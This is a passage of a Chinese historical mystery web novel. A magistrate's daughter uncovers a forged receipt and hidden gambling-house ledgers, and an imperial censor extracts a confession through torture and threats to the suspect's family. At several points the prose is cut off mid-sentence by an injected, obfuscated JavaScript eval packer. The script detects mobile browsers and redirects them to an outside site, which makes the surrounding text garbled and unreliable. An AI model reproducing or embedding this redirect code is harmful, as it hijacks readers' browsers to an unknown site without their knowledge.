韩穗对钱帛之事并非无知,不肖多想就能意识到,田青要想光明正大地挥霍这些见不得人的巨额银两,最好的办法就是通过几番生意周转,将不义之财转变成能说清道明的合理收入。 她恍然回悟,想来张金龙与刘百盛,一个往来南北的镖局把头,一个坐拥十数家商铺的赌坊东家,不正是帮田青洗清钱财的绝佳人手? 捏住讫条的双手不自知地开始微颤。 “古宝阁今收张金龙交付之白银五万两整,当面点验,数目无误,特立此条。”收条人的落款赫然一位老熟人的字迹——郭大牛。 若她没猜错,张金龙交出去的这五万两白银,很可能就是李松等人在西山暗矿中用性命换来的,收银者本该是刘百盛,却不知为何变成了郭大牛和古宝阁。 根据此前品兰的回忆,刘百盛死前正谋划将此讫条夹藏在画中送去上京,因怕留下对己不利的证据,所以才用古宝阁来顶替。 然而郭大牛究竟是被迫签下此条,还是他真的收过那五万两,真实情况,韩穗现下无从得知。 伪造讫条的刘百盛现已身死,或许狱中的张金龙能知晓内情,但在他主动交代之前,她绝不可能轻易让任何人知晓这张讫条的存在,否则郭家父女将陷入难以言明的麻烦之中。 就算是那个人,她也不能信任。 销毁,对,直接销毁! 或许销毁讫条才是最好的解决办法。不管古宝阁是被栽赃,还是真的因为什么原因收下过赃银,只要白纸黑字的据单不在了,郭家父女就能免去被牵连的危险。 不过,事关古宝阁,在销毁之前,她有必要先与郭家父女通气。 翌日一早,韩穗前脚目送父亲乘坐小轿离家上衙,后脚便叫华叔套了车送她往南城去。 昨夜她思来想去,深觉方某人已盯上她与品兰的接触,贸然再去府衙,恐生是非。于是索性直奔南城,先去找品兰的父亲郭良了解情况。 郭家在南城置有一套二进院落,自打古宝阁出事被查封,郭良便遣散了店员,只留一个鳏寡老伙计,二人在此处深居简出、相依为命。 刘百盛横死,女儿被押,再加上得知女儿差点被刘老太一家暗害的消息,本就消沉颓然的郭良,一夜间更是愁白了头。纵使有韩穗与父亲几次保证定能保品兰无虞,仍是寝食难安,身子骨便一日日不好下去。 韩穗来时特意带了些上好的吃食药材,拎着一只鼓鼓囊囊的大包袱,一下车,便瞧见郭家门外早停了一辆甚是眼熟的宝马雕车。 她虽有疑惑,但还是推门进入院中,边走边喊道:“郭叔父,您在哪屋啊,我来看您了!” 堂屋的门吱呀打开,从里头走出一位头生华发、身量瘦削、面目慈善的中年男子。韩穗快步迎上前:“郭叔父!” 下一刻视线一撇,却见他身后还跟着一人。那人通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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今年秋,有人到古宝阁委托求购白川画作,就算是信札手书也可,且出价颇高。郭良虽应下,却也未放到心上,不想随后一次外出取货时,可巧遇到一副白川手书,遂收购带回。等那人再来,便付了银两,拿着手书欢喜离去。 本是再寻常不过的一次买卖,可没过多久,官府却突然找上门来拿人,说是有人状告郭良以假充真骗取钱财。郭良无法,只能前往衙门应诉。 出乎意料的是,对方显然有备而来,状书讼师一应俱全,主审的黄知府更是当场传来一名揭裱世家的书画高手,左证右析,有理有据地将那副手书定为仿品。非但如此,那人还纠集了几个古宝阁的旧主顾,一齐诉他常年售卖假货牟利、坑骗钱财,郭良一时之间百口莫辩、欲诉无门。 彼时韩立煜赴京述职尚未归还,只韩穗一人留守云州。郭家伙计前往韩家报信后,她匆匆赶到府衙,无奈人微言轻左右不了官家办案,只能旁听,面对对方的“铁证如山”和毫无漏洞的状词,居然没找到一丝驳斥的机会,眼睁睁看着郭良被押入狱。 当晚,韩穗在狱外火急火燎想办法,可郭良却因受不住严刑拷打而画了押。万幸判决之前,韩立煜及时赶,但翻案已经无望,只能靠人情关系疏通,帮郭良免去杖责流放,又将古宝阁的查封由永久转变为一年。 那场官司于郭家而言是天降灾祸,但显然对方是筹谋已久,恐怕从求购白川画作时就设下了圈套,甚至将韩立煜离开云州都算计在内,可谓卑鄙下作、不择手段。 可这一切的发生距今已有两月,方湛为何会在这个节骨眼上突然让冼牧川来过问此事? 55. 古宝阁(二) 对于那位京官大人的突然到访,郭良亦毫无头绪,再加上冼牧川不似寻常官员的作风,问起话来天马行空,无主无次,更让他无可揣摩。 他不安道:“我听说那几位从上京来的大人,是查叶阳县纵火杀官一案的,怎么又来我这里问话?怎么说古宝阁的事与叶阳县民乱也扯不上关系吧!” 韩穗听完这话也不免琢磨起来。 古宝阁的那场官司显然是遭人陷害,结案后那帮小人当即消失得无影无踪。郭良一辈子为人和善,鲜少与人交恶,事后他们分析调查,也只能想到对方是意图搞垮郭家生意的商户对手这一个可能。 如此一桩买卖纠纷,确实离叶阳县民乱有些远,但…… 思绪起伏间,一个人名从韩穗脑中霍然闪过——商卓! 当时证明古宝阁所售白川手书为赝品的那个裱褙匠,就是商卓!事发后,韩穗曾亲自勘验证物,由于商卓的鉴定无误,所以她那时并未对此人有太多关注。 可是后来,她却在葫芦街旧货市场遇到商卓与刘百盛混在一起,再加上品兰曾偷听到二人筹谋以古宝阁顶罪,桩桩件件交织在一起,让她此刻不得不怀疑,郭良被人陷害一事中就有刘百盛的手笔! 如此一来也能说通了,以查矿监田青及其爪牙为目的的方湛,为何会突然关注起不起眼的古宝阁的官司,定是已经意识到二者之间的关系了。 韩穗忽觉一阵眩晕,脑海中激烈的思绪戛然止住。她手扶额头,缓了缓心神,随即道:“先不管那些了,我这次来,是想让郭叔父看一样东西。” 她从袖中取出那张讫条,交给郭良。 郭良展开纸条,待看清上头的内容,双眉间深深拧出个“川”字,不解问道:“这个张金龙,不是什么镖局的镖头么?” “目前看来,他不止是镖头那么简单,他应该就是杀害刘百盛的凶手,并且还干了许多别的事情,具体我不好透露,但可以肯定,他的所作所为,件件都够杀头的。” 郭良兀地脸色煞白,捏着纸条的手发抖:“那这、这是什么意思,大牛为何会从张金龙那里收下这么多银两?” “郭叔父先别急,”韩穗安抚道,“这张条子十有八九是假的,那些银两定不在郭大牛手中,只是他与古宝阁都被人利用了。” 紧接着,她把讫条的来历以及品兰的话一一告知郭良,后者听完一时愁容满面,想问什么又不知该从何问起,最终重重叹了口气:“唉,可是现在大牛已经失踪两个月了,是生是死都不知道。他、他究竟都做过些什么啊?” “我也不知,”韩穗微微摇头,忧心忡忡道,“我只知道,上京来的大人下一步必定会查张金龙与刘百盛的钱财往来,这张条子一旦被他们发现,会给您和品兰带来大麻烦。我私心觉得,管它是真是假,不如直接销毁,以绝后患。” 郭良手捏讫条,垂头思考了良久,末了,他抬起一张满是疲惫的脸,对韩穗道:“品兰有你这样的好友是她的幸运,我们郭家因为出了一个不孝子,连遭数祸,多亏了你和你父亲,才能得到转机。至于这张讫条,就先放在我这儿吧,你父亲有官身,你又是个姑娘家,不该牵扯进这一滩浑水之中。” “郭叔父莫要再说这样的话,若没有您和品兰姐姐,我早就曝尸荒野,哪还有命活着来云州找父亲!所以郭家的事就是我的事,你们的麻烦就是我的麻烦,绝不会坐视不管。” 韩穗斩钉截铁的态度,叫郭良陷入更加深切的自责中,悲痛后悔道:“这一切都是我自作自受!我弟弟和弟媳没得早,只留下大牛这一个孩子,我因做生意常年不在家,对他管教不够,只一味地给银子,不知什么时候起,这孩子竟沾染上赌钱的坏习气,等我发现为时已晚,说教打骂都没用了。我只好断了他的银子,没想到,他没银子也去赌,直到赌坊姓刘的拿着欠条找上门,我才知道他惹祸了。” 他将脸埋在双手中,传出的声音中带着哭腔:“我如今是后悔莫及,没能管好弟弟的孩子,还害了自己的女儿!” 若后悔有用,那这世上所有的事就都好办了。 离开郭家之前,韩穗又叮嘱了一遍,叫郭良尽快烧掉那张讫条。 她心事重重走出院门时,冼牧川那辆装饰繁美的朱顶乌木马车果然还停在原地。 车窗锦帘被挑起一角,一张美玉般的男子面孔探了出来,带笑道:“上我的车吧,我已经跟你家车夫说好了!” 韩穗却略一施礼,婉拒道:“谢过冼大人的邀请,我还是习惯坐自家马车。” 天气十分寒冷,但胜在晴空万里。 禾香斋的店小二热情将两位贵客请进雅间,又逐一介绍了店中最有名的特色糕点小食。 韩穗毫无心思挑选,冼牧川倒是津津有味地问这问那,最后各色都要了一份,又命昌乐借店家后厨用自带的器具和茶团沏茶,这才对韩穗道:“云州的点心粗糙,你且将就吃一吃,等回京我请你去我家,侯府有个厨娘是苏州人,做点心那可是一绝。” 韩穗不说好也没说不好,只忍不住问:“冼少监走到哪儿都随身带着茶和茶具?” “本公子哪有那么挑剔!我在上京就不这样,还不是因为云州本地的茶给我喝怕了!”冼牧川一回想起到此地的第一天,方湛递上的那杯茶,还是心有阴影。 这还不叫挑剔……韩穗暗自腹诽,对面那位却早已按耐不住,兴冲冲地发问:“现在可以告诉我了吧,郭家父女到底与你有何救命之恩?” 韩穗无法,便尽量言简意赅,将一年前赴云州路上遭遇匪贼险些丧命、幸得郭家父女出手相救的经过说了一遍。 冼牧川听罢不由击节称叹:“好一个侠肝义胆的故事!如此说来,郭家父女竟是我救命恩人的救命恩人!” 他举起茶盏硬是要与韩穗碰杯,神采奕奕道:“你放心好了,从此郭家父女的事我冼七郎管定了,恩人的恩人若有任何困难,都可以来找我求助!” 先不管冼牧川说话着不着调,这一句承诺让韩穗倏然双眼放亮:“当真?” “自然,我冼七郎从不许做不到的诺言。” “那你可知,两月前郭家的店铺古宝阁卷入一起买卖纠纷,其实是被人栽赃陷害的?” “啊?”冼牧川有些无措道,“我方才去郭家就是问那桩案子,可郭前辈并未提起此事啊。” “郭叔父是不想再翻旧账、节外生枝,他眼下最大的心愿,就是女儿郭品兰能从官衙放出来,与刘家断绝关系,平平安安回家,上京的大人贸然前去问此旧案,他自然不会多说。我说出此事,只是叫冼少监别误会,郭叔父不是那种贪财欺诈之人。” 韩穗不动声色地将郭家父女的需求夹带其中,静静看着冼牧川若有所思地点头,试图看出他是否已领会自己的暗示。 这时,店小二敲门而入,将各色茶点摆上,一一介 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539298|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绍过后,毕恭毕敬退下。 韩穗夹起一块果馅凉糕,轻咬一口,仔细吃了,状似无意问道:“方大人为何会突然想起过问古宝阁的旧案,可是与他在查的事有关?” “这个我哪里知道,他懒得跟我说,我懒得问,”冼牧川忽然想起什么,“对了,我听斐然说,你与明渊兄曾是旧相识,想知道的话直接去问他不就行了。” 韩穗内心咯噔一下,很不确定斐然跟他说到什么程度,强装镇定:“他那张高高在上的脸,拒人于千里之外,哪里有冼七公子您平易近人好说话。” “这话没错,”冼牧川很受用,将一碗梅子蜜饯酪搁至韩穗面前,“你是不知道,这两天方某人的脸愈发臭了,你不去招惹他是对的!” “谁惹他了?” “天知道,从昨日吃晚饭开始,他那张脸就跟铁板一样寒光湛湛。当晚去死牢提审张金龙我也在场,十里之外就能感觉到他的杀气,他甚至亲自行刑,场面那叫一个血腥!”冼牧川回想着,不免疑惑,“总觉得他像是在借机撒气。” 韩穗突然没由来地一阵心虚。但很快她就推翻了这种直觉,心道昨日她也没惹他呀,一整天都很顺从,还低声下气地为过去之事认错道歉,最后甚至主动表态不会阻挠他将来的姻缘大事。 怎么想她都做得很棒,没理由方湛的心情不爽与自己有关系。 确定了这一点,她又将心思放在正事上:“那张金龙招了吗?” “招了,不过不是因为严刑拷打。明渊兄早让人去定州把他的妻儿老小绑来了,只要他招供一件事,家人就能少死一个。” 韩穗不由倒吸一口凉气,一时难以将如此手段与自己印象中的那人联系在一起。 “哎,你想不想知道姓张的都招了着什么?可比话本子精彩多了!”冼牧川不管韩穗想不想听,立刻就将张金龙毒杀刘百盛的前后经过一股脑儿说了出来。 “这凶手与死者原是做生意的伙伴,张金龙的镖局常年给刘百盛的铺子运货运银,但姓刘的常年欠他镖银,他便怀恨在心。这不,临近年节,张金龙又去要钱,对方仍推三阻四,一气之下,他起了杀心。” “姓张的听说刘百盛近来四处求购前朝画师白川的画作,便搞了一副假画,引他出来吃酒。离奇的部分来了,他们吃酒的那家店以西域葡萄酒闻名,葡萄酒本身是酱红色,张金龙便利用了这点,趁其不备,将遇水便呈红色的有毒颜料溶进酒里,看着他喝下。” “这种剧毒颜料很是绝妙,喝下的人不会当场毙命,而是在半个时辰后出现呼吸麻痹的症状,最终猝死。凶手估摸着时辰结束酒局,又提前收买了刘家车夫给马车动了手脚,甚至算准了当天的暴风雪,致使死者在回家的半路上弃车步行,半路毒性发作死在雪中。这样一来,众人都会以为他是醉酒倒在雪地被冻死的。” 冼牧川傲娇一笑:“这种天衣无缝的杀人手法,若不是被明渊兄遇上,恐怕他真就逍遥法外了!” 韩穗听后却反应不大,毕竟这桩命案的几条线索都是她帮忙发现的,真相与她的猜想未差很多。 听者反应平平,冼牧川便觉得自己说的还不够刺激精彩,紧接着加料:“你以为就完了吗?不,离奇的可不止这桩命案!” 他双手撑桌,身体不自觉朝对面的韩穗倾去:“叶阳县的那场大火,也是他放的!” “什么?”韩穗这下是真被惊愕到了。 56. 古宝阁(三) 韩穗脸上流露出的不可置信叫冼牧川甚感满意,他手持洒金象牙骨扇,对着空气虚点了几下,活似说书先生上身: “要不说我明渊兄是圣上钦点御史呢,就去了那么一趟叶阳县县衙的火灾废墟,就在里头随意转了那么一圈,哎,好巧不巧,就发现了州府的人不知去了几趟都没看见的一样东西——一枚金钱镖!” “那枚金钱镖上铸刻着万顺镖局‘万’字标,这还用多说么,直接拍到张金龙面前。别看张金龙平日里凶神恶煞、为虎作伥,这时左手是物证,右手是妻儿爹娘的性命,由不得他做选择,当即就认栽招了。” “原来这镖队但凡走北线都得经过叶阳县,县衙之人多次故意为难索要好处费,张金龙对此是怀恨在心。叶阳县民乱发生后,他立即跑去看热闹,但深觉那几个领头闹事的太无用,居然以为绑架县令能与州府谈判,索性一不做二不休,趁机放了场大火,烧死公廨内所有人以解心头之恨。” 韩穗听后陷入沉思,手中铜匙便半擎着,过了好一会儿,才说了句:“不对劲。” 冼牧川品茶润喉:“有何不对劲的,这种莽夫,能做出绑架残害本公子的事,胆大包天,还有什么干不出来的。” “我是说,他毒杀刘百盛一事不对劲。若说他痛恨县官趁机放火,此事可信,毕竟这种浑水摸鱼的事不容易被发现。但他毒害刘百盛的时候,钦差大人都已经到云州了,就算因对方欠钱怀恨在心,完全可以等到年后你们走了再动手,岂不是更不易惹祸上身。” “不愧是在一得书院做过同窗!”冼牧川忽然一拍桌案,赞赏道,“明渊兄也是这么想的,他说张金龙的话半真半假,作案经过都是对的,但在动机上却撒了谎。估计今日那姓张的还有苦头吃呢!” 韩穗微微点头,将盏内最后一勺玉酪吃尽,一手支颐,看着屋角博山炉内袅袅而升的香烟,不再说话。 见她出神良久,冼牧川忍不住伸出扇柄在她眼前晃了几下:“在想什么呢?” 韩穗回神,叹口气默默坐正:“我在祈祷张金龙今日能好好配合方大人,坦白杀害刘百盛的真相,这样品兰就能早些洗脱嫌疑回家了。” “这事啊,”冼牧川略一想,打包票道,“放心好了,此事我帮你盯着,只要刘百盛命案一有定论,我就提醒明渊兄放人。” “当真?”韩穗连日沉寂的一张面容终于露出点喜色。 “这有什么,”冼牧川对上那一双晶亮的星眸,不自觉夸口道,“你不是还担心为何明渊兄会突然查古宝阁被封的案子么,等我回去问他再与你说,你别太担心,有我在,郭家父女必定无事。” 纵然已听方湛说过他人纯善,但此刻韩穗仍然微怔,问道:“冼公子身为皇命钦官,就这么信任他们?” “因为本公子信任你啊!” 韩穗一时哑然。冼牧川却突然想起什么:“对了,差点忘了,明渊兄还叫我今日去古宝阁看看呢,既然你清楚古宝阁一案,不如就跟我一起去吧!” “去古宝阁看什么?”韩穗不解。 “看有没有郭大牛失踪的线索呗。” “可是古宝阁己经被贴封条,咱们俩这样,”她示意二人的非官衣着,“能进吗?” 冼牧川理所当然地一甩折扇:“本官是圣上派来的,封条是州府贴的,你说我进不进得?” - 古宝阁坐落之处距离禾香斋并不远,韩穗提议二人直接步行过去。 此处铺面位置在整条街上并不显眼,但周围米面粮店、茶楼酒肆俱全,再加上年节将至,附近车马行人往来甚多。 冼牧川和韩穗只在被封的古宝阁门前一站,就已吸引来几个爱管闲事的路人驻足。众目睽睽的围观之下,冼牧川毫不在意地从腰间的X包中取出一串钥匙,捅开门锁,揭下封条,堂而皇之地推门而入。 一进门便是尘土迎面,韩穗抻袖掩住鼻口,一回头,却见冼牧川哐啷一声将在门口探头探脑的路人关在了外头。 她忙去打开朝内院开的门窗,总算让新鲜空气流入,屋内顿时也有了光亮。 日光穿窗,斜打在屋内一侧的长柜上,条缕光柱中万千细小尘埃起起伏伏,似水波流转,涌动着,消失在柜台的暗影之后。 那里靠墙倚放着两把收叠好的交椅,是她从前来古宝阁找品兰玩时惯坐的。 那时她二人总喜欢并坐在柜台后,吃着蜜饯聊书画,或看客人如何与郭叔父讨价还价,偶尔有属意品兰的年轻后生借口过来瞧她,待人走后,两个姑娘又会吃吃笑着点评一番。 可如今,物是人已非。 韩穗长长吐了口气,收回思绪,转面看着正翻箱倒柜找得起劲的冼牧川,不由问道:“据我所知,郭大牛平日里不常来古宝阁,这里会有他失踪的线索吗?” “找找看咯,说不定会有所发现。”冼牧川混不在意道。 见他翻找得投入,韩穗忍不住道出心中疑问:“你还会查案找线索?” “我怎么就不会了,”冼牧川头也不抬,“我又不是什么纨绔子弟、绣花枕头。” 韩穗眼角一抽,心道:你不是谁是…… 但来都来了,她还是加入冼牧川那看起来毫无章法的查找之中。 二人捂着口鼻,在尘土飞扬里将店面翻了个遍,果然一无所获。店里除了柜台底下有个装算盘笔墨等杂物的箱子,早己空空如也。 不过古宝阁不光有这一爿临街店面,内里还有个院子,由几间厢房围拢,平日里住伙计或存放杂物货物,如今也都上了锁,贴着封条。 在前店毫无发现的二人,自然移步至后院。冼牧川再次掏出那串钥匙,挨个试着开锁。此后连寻三间厢房,然而皆是伙计居舍,无任何可疑之处。 两人走入最后一间厢房,屋内被堆放的十几只大箱子占去一半,另还有些破旧椅凳、灯台屏障。 “这是古宝阁的存货间,我以前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569947|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来过。”韩穗说着,随手掀开几个未上锁的箱子,内里却都是空的。 她不禁联想道:“当初那些人联手栽赃古宝阁,并索要巨额赔偿,郭叔父拿不出那么多现银,便将货物抵给别家铺子以换银两。这些箱子原都是盛放货物的,如今却都空了……” “快看,这儿有个箱子是上锁的。” 韩穗循声看过去,只见冼牧川指着角落案几上一只小箱子,上头果真有一把闪闪发光的铜锁。 冼牧川又开始在包中翻找,这次却掏出一把小巧的单只钥匙。他对韩穗神秘一笑:“这可不是一般的钥匙,乃玄英卫的‘万能解’,世上只要不是特别复杂的锁,都能打开。” 说着,他上前开锁,果然不出几下,就听啪嗒一声,锁开了。他将箱内的东西取出,厚厚一摞四五本,待瞥清封皮上的签条,不由意外道:“账簿?” 随即,他取最上头一本,走到窗边借光看了起来。渐渐地,手上翻页的速度越来越快,眉头也越皱越紧。 方才冼牧川关于自己实非绣花枕头的言论并无虚假,他能担任少监一职可不是全凭父亲文英候的脸面。 他自小念书确实不行,但对数字的敏感、算筹的精专,却远超常人。账房先生笔下的条目数字,于普通人看来或许就是一条条记录,但在他眼中,却是隐藏在数字背后的一个真实世界。 此时韩穗也意识到异样,上前问道:“怎么了,郭家的账有什么问题么?” 面对她的询间,冼牧川却罕见地似没听见,快速翻看了其余几本账册,再抬首时眉目间尽是惊讶,他问道:“郭前辈与利昌赌坊是何关系?” 韩穗茫然道:“没有任何关系啊,哦对,若硬说有关系,就是他的女儿品兰嫁给了利昌赌坊东家刘百盛。”她越说越心慌,又强调道:“但他本人与赌坊无半点关系!” “可这账簿显示,利昌赌坊的钱都来自古宝阁。” “不可能!”韩穗也拿起一本账册打开,上头的条目数字所代表的背后意义,她虽不如冼牧川明白得深刻,但白纸黑字她却认得。 “这是什么意思,为什么古宝阁的账册上会出现利昌赌坊,可这两家店分明毫无关系啊!”韩穗一时心急如焚,又翻开更早时间的账册,寻到利昌赌坊字样后,不可置信道:“这是三年前的账目,可那时郭家与刘百盛全无来往,怎么会……” “你先别急,或许是郭大牛暗中搞鬼也不是没有可能。”冼牧川试着安抚道。 韩穗斩钉截铁地摇头:“郭叔父恨赌,郭大牛怎会将与赌坊的瓜葛记在账册上,这说不通。” 她又开始仔细地翻看起手中账本。情绪稍微安定下后,视线便留意到了更多细节。纸页上的行笔字迹,条目排列的方式,以及核对验校的盖章钤印,一一扫入目中,记忆里摊开在古宝阁柜台上的账本内容清晰回闪,所见与所忆两相比对,突然,韩穗惊呼出声。 “这不是古宝阁的账册!” 57. 招供 “什么东西找到了?”韩穗不动声色地将胳膊抽回。 “说来话长,回头再跟你细讲!你先在这儿等我一会儿,我去禾香斋叫昌乐赶车过来!”冼牧川说着,便兴冲冲往外跑去。 他的身影跃出门槛后,又突然折回,探着身子道:“麻烦你帮我看好这两箱账册,一定要看好了!我去去就回!” 韩穗一头雾水,但也只能照办,搬了把交椅到有日晒的院中坐等。过了约摸一刻钟的功夫,院子后门传来响动,门开后闪入两人,正是冼牧川与昌乐接她和账本来了。 在主仆二人风风火火的安排下,她也坐进香熏扑鼻的车内,直到马车辘辘行驶,才反应过来:“不对啊,我怎么也上来了,你这是要带我去哪儿?” 总算能喘口气的冼牧川展开象牙骨扇,使劲扇着额上渗出的细汗:“你又立一功,自然是带你去见钦官御史大人咯。” “不是,我这……”韩穗索性干脆道:“我不想去!” “别呀,”冼牧川劝道,“我明渊兄又不是什么洪水猛兽,你怎么老躲着他呢?” 见姑娘紧抿着嘴似真要生气了,他又赶紧转移话题:“你刚才不是问关于那箱账册的事么?” 韩穗还在气他擅自做主,便闭嘴“嗯”了一声。 “那我问你,你知不知道有些经商的人会有两套账本,尤其是刘百盛那种钱财来路不明的,一套给明面上的人看,另一套才是真实记录。” “听说过。”韩穗简短回答。 冼牧川收起骨扇,俊美的脸上罕见流露出严肃的意味:“之前明渊兄命玄英卫以查案为由收缴了刘家账本,并交予我查看,想从中寻找线索。但我发现那些账册干干净净、毫无破绽,可谓天衣无缝,毋庸置疑,这种漂亮的账册就是应付官差和外人的假账。” 韩穗一点就透:“那你刚才从古宝阁地板下掏出来的,是刘百盛的真账册?” “正是。咱们的御史大人早就疑心到,张金龙杀了人却一直留在云州不走,甚至冒着暴露自己的风险,派手下围守监视刘宅、夜搜赌坊,他如此做,应是为了找到刘家账册。明渊兄觉得这账册定有乾坤,便也让玄英卫找,这两拨人马找来找去,都快把刘百盛的铺产田宅拆了,依旧一无所获。” 说到这儿,冼牧川脸上那抹难能可贵的沉肃忽然消失,像做了什么恶作剧般嘿嘿一笑:“没想到,今日居然因为你这手一松、箱子一摔,就把他们踏破铁鞋四处寻觅的东西给找到了,得来全不费工夫啊哈哈!” 似乎意识到自己有些猖獗,他又谦虚道:“不过也不怪他们无能,谁能想到刘百盛会把如此重要的东西藏在别人家一个早被查封的铺子里头呢!” 说者无意,听者有心。此话蓦然点醒了韩穗什么,她一把推开车门,对还在不紧不慢驾车的车夫道:“劳烦加快车程,前面路口右转有条小道直通州府角门,走那条路,越快越好!” - 云州府衙。 关押重犯的地牢暗□□仄、不见天日。 张金龙骤然被人拖进刑室,四周墙上的火把强光瞬间刺痛双目,他下意识紧闭起眼睛,耳边却传来一个含带笑意的声音:“又见面了。” 他尽力睁眼,视线中出现一道着绛红官服的身影。那人说话时的笑意仍残留在嘴边,只是那笑叫人直觉寒意森冷。 “哼,”张金龙不屑地瞟了眼对面之人,嘶哑着嗓音道,“折在你这种小白脸手里,老子认栽,让我说的我都说了,再问也还是那些!” 话音刚落,一道劲风袭来,那张本就青一块紫一块的脸上结结实实挨了一重拳。 裘明甩着出拳的那只手,怒喝道:“死到临头了嘴巴还不会放干净,找打!” 张金龙偏过头,啐出嘴里的血沫子,通红的双眼恶狠狠盯看着裘明,再加上他浑身上下因受刑而血肉模糊,俨然一副恶鬼状。 与玄英卫的赫赫煞气不同,方湛稳坐审台之上,就算身后整墙布满嗜血刑具,他仍是那副清冷端方之尊。 “你多虑了,本官最不喜欢做重复无用的事,所以昨日问你的话,今日自然不会再问。”方湛缓缓开口,语气平静无波。 “不过,这次我带来一样有意思的东西,特意拿给你瞧瞧。”他从袖中抽出一叠纸,一面展开,一面随意道:“叶阳县县衙胥吏尤谨,是你的老熟人吧?” 他抬目瞥了眼跪在地上的张金龙:“听到这个名字有没有一丝惊讶,或许你以为他早就死了?可事实是,尤谨不仅没死,还向我交代了这好几张纸的供词。” 他拿着供词的手略微一扬,身侧一名玄英卫即刻上前接过,将那几页写满密密麻麻小字的供状摊放在张金龙面前。 “这供词里关于你的事可不少呢,”方湛起身走下审台,负手驻足于张金龙身侧,“只是这字又小又多,你看着定然费劲,不如由本官与你说一说。” “其一,尤谨供认,你定期给县令于江好处费,再由于江分给底下几名县吏,是为了每月朔日进西山银矿时,看守榆水坡路卡的县吏能给你放行。你向他们透露自己从银矿运走的是灰渣,但却不小心被尤谨撞破箱子里装的其实是银锭。” “其二,叶阳县民乱那天你也在,并把本已逃掉的尤谨骗回县衙,让他帮你寻找被乱民绑架的于江,人找到后,你却趁其不备将他二人砍晕,放火意图烧死他们,并嫁祸于闹事乱民。” “尤谨说的这两件事,刚好可以印证,昨日你关于叶阳县大火的交代有一真一假——放火过程是真,但动机为假。” “不如让我来猜上一猜,”方湛侧身歪了歪头,神情好似在猜一个有趣的灯谜而已,“你烧死于江不过是顺手而为,而你真正想要杀的人是尤谨,原因就在于他撞破了你去西山银矿的秘密——偷运银锭。” 张金龙突然发出一串暗哑诡异的嗬嗬笑声:“大人还是太年轻了,居然会轻信那小吏的一派胡言!老子承认曾买通门路进西山银矿,但运走的却是制造密陀罗药材所需的灰渣。尤谨那个穷光蛋是缺钱缺疯了,看什么都像银子,自己臆想出这么个故事,好找我敲诈勒索银票!” 方湛似乎就在等他这一句辩解,冷冷一笑,提声道:“把李松带上来!” 当即有卫卒领命,很快便将候在外头的人领进来。李松仍旧拖着一副瘦弱身躯,面色憔悴,但好在已能自己行走了。 他颤巍巍下跪拜见,方湛问:“李松,你来看看,此人是否就是每月至西山银矿取走银子的那个张金龙?” 李松得令上前,在玄英卫递上来的火把映照下,分辨了好一会儿,才恍然道:“是他,是他!回大人,他就是张金龙,每月负责去榆水坡洞窟将我们准备的铸银取走。那日也是他绑架了白衣公子,又设下炸药炸毁矿洞,小人亲眼所见!” “你还要继续抵赖吗?”方湛转面询问地上之人。 “没做过的事,谈何抵赖?”张金龙头也不抬,丝毫不在意是谁在指认自己。 李松一听却着急了:“我可没冤枉你,那些事不都是你做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方湛叫停行刑,缓缓蹲下,对上张金龙布满血丝的狰狞双眼,一字一句道:“你可别觉得我狠毒,本官不过想要你女儿的一根手指而已,而你那位上京的主子可是要夺你全家人的性命。” “你可知玄英卫去定州找到你的宅邸时,家中早已火光冲天、惊哭声阵阵,是我的人从那些蒙面杀手中救下了你的家人!你若不信,问问你妻子便知!” 自有卫卒将那妇人推到张金龙跟前,后者犹豫了片刻,终是颤声发问:“他说的可是真的?” 妇人点头,哭得上气不接下气:“你到底得罪什么人了,我们全家差点就都死在定州了啊……” 方湛冷冷道:“那日你若是没被我抓住,顺利逃回了定州,恐怕一进家门,等候你的也是被杀的下场。” “不可能,怎么会……”张金龙犹自摇头不甘。 “你不信,那是因为你不知道,如今京中已然大变,你那位主子已然自保不迭了。” 方湛淡淡的一句话,却叫张金龙瞬间明了其背后含义,他颓然闭上了双眼,混着血渍的泪水从眼角缓缓流出。 末了,他悲戚地笑道:“我张金龙空有一身本事,却时运不济、屡投错主,如今算是一条路走到黑了。” 他抬头看向面前那位清俊得令人掉以轻心的年轻大人,眼中再无半点凶狠,只有垂死的哀凄:“我烂命一条死不足惜,可怜我稚儿无辜,恳求大人保他们性命安全,我愿如大人所愿,将一切和盘托出!” 58. 还原 冼牧川与韩穗一前一后步入馆舍时,方湛正接过斐然递上来的热巾擦手。 绛红色官袍袖口叠堆往后,刚好露出他的白皙手臂,臂上背筋微凸延至手背,不经意间流露出的力量感,就算隔着丈远距离,都叫见此一幕的韩穗莫名咽了咽口水。 他已除掉官帽,网巾束起碎发,下面便是一张秀挺如玉的脸。 